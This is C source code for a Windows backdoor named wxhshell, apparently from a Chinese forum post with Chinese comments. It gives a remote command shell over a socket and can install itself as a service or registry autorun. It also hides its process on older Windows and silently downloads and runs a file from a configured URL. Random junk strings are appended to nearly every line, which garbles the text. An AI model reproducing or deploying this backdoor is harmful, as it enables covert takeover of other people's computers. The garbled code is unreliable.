  iyog`s c  
  // 帮助 Xry4 7a )  
  case '?': { %07SFu#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l@:0e]8|o  
    break; $mB;K]m  
  } PxE3K-S)G  
  // 安装 Lh<).<S  
  case 'i': { v.ui!|c  
    if(Install()) bu"!jHPB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'z7(8$$  
    else ~v"L!=~G;a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1i ] ^{;]  
    break; ZAf7Tz\U  
    } fxIf|9Qi`  
  // 卸载 sN wI 0o  
  case 'r': { snikn&  
    if(Uninstall())  7[wieYj{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yCX?!E;La  
    else 3yXY.>'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZ`{Wnbq  
    break;  RX5dO%  
    } CWS4lx  
  // 显示 wxhshell 所在路径 cs'{5!i]  
  case 'p': { 4'Zp-k?5`  
    char svExeFile[MAX_PATH]; OUXR  
    strcpy(svExeFile,"\n\r");  rXU\  
      strcat(svExeFile,ExeFile); ?R#)1{(8d~  
        send(wsh,svExeFile,strlen(svExeFile),0); Xs?o{]Fe  
    break; <d_!mKw  
    } @OHm#`~  
  // 重启 $tS}LN_!  
  case 'b': { }iuw5dik+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I!?}jo3  
    if(Boot(REBOOT)) 40<mrVl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/K_[w 1  
    else { PiYxk+N  
    closesocket(wsh); 6JQ'Ik;$wX  
    ExitThread(0); O7IJ%_A&  
    } 8&aq/4:q0  
    break; k@:%:Sj 2  
    } Tu7QCr5*  
  // 关机 v}Fr@0%  
  case 'd': { JO< wU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "w.3Q96r  
    if(Boot(SHUTDOWN)) &`XVq" 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?K\axf>F  
    else { @y&bw9\  
    closesocket(wsh); t<viX's  
    ExitThread(0); }Z,x~G  
    } IB7E}56l  
    break; # Vha7  
    } Qz N&>sk"  
  // 获取shell E\,-XH  
  case 's': { Ez=Olbk  
    CmdShell(wsh); LE>]8[ f6S  
    closesocket(wsh); *`RkTc G  
    ExitThread(0); `^y7f  
    break; n=ux5M  
  } 5[u]E~Fl}  
  // 退出 xUistwq  
  case 'x': { Vy, DN~ag  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hfy_3}_  
    CloseIt(wsh); "6?0h[uff  
    break; /~f'}]W  
    } NTI+  
  // 离开 }~e%J(  
  case 'q': { H+Sz=tg5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3;s\OW`  
    closesocket(wsh); .h4 \Y A  
    WSACleanup(); w: Kl6"c  
    exit(1); q#=(e:aCb  
    break; 5N&?KA-  
        } J~UuS+Ufv  
  } Tyf`j,=  
  } Eg3q!J&Z  
C-[eaHJ'$  
  // 提示信息 'ub@]ru|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $'hEz/  
} OH(waKq2I  
  } +&2%+[nBZ  
%n:k#  
  return; b`O'1r\Y;  
} q(2'\ _`u  
nK%LRcAs  
// shell模块句柄 R[x_j  
int CmdShell(SOCKET sock) }@+:\   
{ ~1vDV>dpE  
STARTUPINFO si; [^98fAlz6  
ZeroMemory(&si,sizeof(si)); 7Da`   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }2<7%FL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SJ>vwmA4  
PROCESS_INFORMATION ProcessInfo; d,n 'n  
char cmdline[]="cmd"; &@Be2!%'9K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y\?"WGL)p  
  return 0; >e[i5  
} (jl D+Y_  
6MMOf\   
// 自身启动模式 BeoDKdAwY  
int StartFromService(void) JHTSUq  
{ Hn+~5@.  
typedef struct !NvI:C_4|  
{ l3I:Q^x@  
  DWORD ExitStatus; r:ptQo`1-  
  DWORD PebBaseAddress; >_"an~Ss  
  DWORD AffinityMask; $6iX   
  DWORD BasePriority; 2)HuZda  
  ULONG UniqueProcessId; s{\8om '-  
  ULONG InheritedFromUniqueProcessId; +Kbjzh3<wG  
}   PROCESS_BASIC_INFORMATION; iVq'r4S  
F%D.zvKN  
PROCNTQSIP NtQueryInformationProcess; XXn67sF/  
GH:jH]u!V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WuUk9_ g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \$T(t/$9  
T&u5ki4NE  
  HANDLE             hProcess; Doyx[zZ  
  PROCESS_BASIC_INFORMATION pbi; qm8B8&-  
Cl8Cg~2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fN^8{w/O  
  if(NULL == hInst ) return 0; )g#T9tx2D  
GqaCj^2f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G.a bql  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]tRu2Ygf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dufu|BL|}  
JL}_72gs  
  if (!NtQueryInformationProcess) return 0; dV$gB<iS  
Y;^l%ePuW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZyPVy  
  if(!hProcess) return 0; .Una+Z  
ARwD~ Tr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ek@: Mw  
W^LY'ypT  
  CloseHandle(hProcess); ex (.=X 1  
""F5z,'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f=gW]x7'R+  
if(hProcess==NULL) return 0; V/ uP%'cd  
'3D XPR^B6  
HMODULE hMod; ca*DZG/  
char procName[255]; ']z{{UNUN  
unsigned long cbNeeded; x vl#w  
x '>9d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &n}f?  
qCpp6~]Um  
  CloseHandle(hProcess); }1i`6`y1  
gANuBWh8T  
if(strstr(procName,"services")) return 1; // 以服务启动 Rmt~,cW!\  
][h%UrV  
  return 0; // 注册表启动 ?2{Gn-{  
} &LZn FR  
{xB!EQ"  
// 主模块 s.N/2F& *W  
int StartWxhshell(LPSTR lpCmdLine) Pz|>"'  
{ tla 5B_  
  SOCKET wsl; (G4at2YLd  
BOOL val=TRUE; Ed,~1GanY  
  int port=0; {19PL8B~}  
  struct sockaddr_in door; 1&evG-#<:  
sRL`dEl4l  
  if(wscfg.ws_autoins) Install(); u jq=F  
9gEwh<  
port=atoi(lpCmdLine); ?; +1)>{  
)E@.!Ut4o  
if(port<=0) port=wscfg.ws_port; JNYFD8J~  
z] P SpUd  
  WSADATA data; >j(_[z|v3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cr?Q[8%t1  
(\hx` Yh=>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7#ibN!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q#ClnG*  
  door.sin_family = AF_INET; %D}kD6=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |w1Bq  
  door.sin_port = htons(port); FR4QUk  
}`QUHIF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JG!mc7  
closesocket(wsl); `maKN\;  
return 1; ,+vy,<e&  
} R_ ,UMt  
w/S%YW3*  
  if(listen(wsl,2) == INVALID_SOCKET) { [OV"}<V  
closesocket(wsl); mPN@{.(j  
return 1; Agg<tM{yB  
} H*&f:mfq  
  Wxhshell(wsl); )3Iz (Ql  
  WSACleanup(); K>r,(zgVc  
)=Z>#iH1  
return 0; ]J}  
3kIN~/<R+7  
} +N9X/QFKV  
?{|q5n  
// 以NT服务方式启动 6?mibvK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^ H ThN  
{ B^Nf #XN(  
DWORD   status = 0; p7VTa~\zA  
  DWORD   specificError = 0xfffffff; B=yqW  
EC6DW=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DV+xg3\(>1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ox>^>wR*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .TMs bZ|j  
  serviceStatus.dwWin32ExitCode     = 0; ^aMg/.j  
  serviceStatus.dwServiceSpecificExitCode = 0; g\(G\ tnu>  
  serviceStatus.dwCheckPoint       = 0; )}]g] g  
  serviceStatus.dwWaitHint       = 0; '(VJ&UlS2  
Y. 5_6'Eo?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gsv uE  
  if (hServiceStatusHandle==0) return; a 3b/e8c  
Lh"<XYY  
status = GetLastError(); D>@I+4{p  
  if (status!=NO_ERROR) be{H$9'  
{ 3n1;G8Nf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "XKy#[d2  
    serviceStatus.dwCheckPoint       = 0; m )zUU  
    serviceStatus.dwWaitHint       = 0; ^ f &XQQY  
    serviceStatus.dwWin32ExitCode     = status; +EAsW(F1  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ ZwvBH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G5RR]?@6V  
    return; 5C*Pd Wpl  
  } t#/YN.@r  
 ZrxD`1L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P[#e/qnXu|  
  serviceStatus.dwCheckPoint       = 0; b#Z{{eLny  
  serviceStatus.dwWaitHint       = 0; V>%rv'G8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V _/%b)*  
} e *(!^Q1  
}DE g-j,F  
// 处理NT服务事件,比如:启动、停止 0hNA1Fh{U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gg3,:A_ w  
{ y$F'(b| )  
switch(fdwControl) .E1rqBG  
{ <#y[gTJ<'>  
case SERVICE_CONTROL_STOP: 88gM?G _X  
  serviceStatus.dwWin32ExitCode = 0; BB$>h}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [0[i5'K:  
  serviceStatus.dwCheckPoint   = 0; k>Vci{v  
  serviceStatus.dwWaitHint     = 0; kr5">"7  
  { VimE@Hz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); He/8=$c%  
  } qu6D 5t  
  return; D|L9Vs`  
case SERVICE_CONTROL_PAUSE: ' !cCMTj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (KD RkE|=  
  break; ksqQM  
case SERVICE_CONTROL_CONTINUE: 6V:U (g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HT cb_a  
  break; 2K6qY)/_  
case SERVICE_CONTROL_INTERROGATE: 3{^9]7UC  
  break; <X^@*79m  
}; 4 Y9`IgQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q&- `,8#  
} |`,2ri*5A  
|=ba9&q  
// 标准应用程序主函数 ufZDF=$7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7P5)Z-K[  
{ Rz:]\jcIT/  
gHEu/8E  
// 获取操作系统版本 Ugt/rf5n  
OsIsNt=GetOsVer(); sPQQ"|wU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [{,T.;'<j  
Apag{Z]^B  
  // 从命令行安装 L>NL:68yN  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9r<J"%*Q  
"]x'PI 4J  
  // 下载执行文件 5iw<>9X*  
if(wscfg.ws_downexe) { Jr!JHC9i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D~iz+{Q4  
  WinExec(wscfg.ws_filenam,SW_HIDE); Uh4%}-;  
} !bx;Ta.  
e8!5 I,I  
if(!OsIsNt) { 8oseYH  
// 如果时win9x,隐藏进程并且设置为注册表启动 ")5":V~fN  
HideProc(); Jbg/0|1  
StartWxhshell(lpCmdLine); J26 VnK  
} A_ZY=jP   
else  6f>{"'  
  if(StartFromService()) 9Cp-qA%t  
  // 以服务方式启动 ;_I8^?d  
  StartServiceCtrlDispatcher(DispatchTable); S-b/S5  
else ?V.cOR`6  
  // 普通方式启动 w\u=)3qyVV  
  StartWxhshell(lpCmdLine); 8)3*6+D  
cN6X#D  
return 0; EhvX)s  
}
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只看该作者 1 发表于: 2006-10-10
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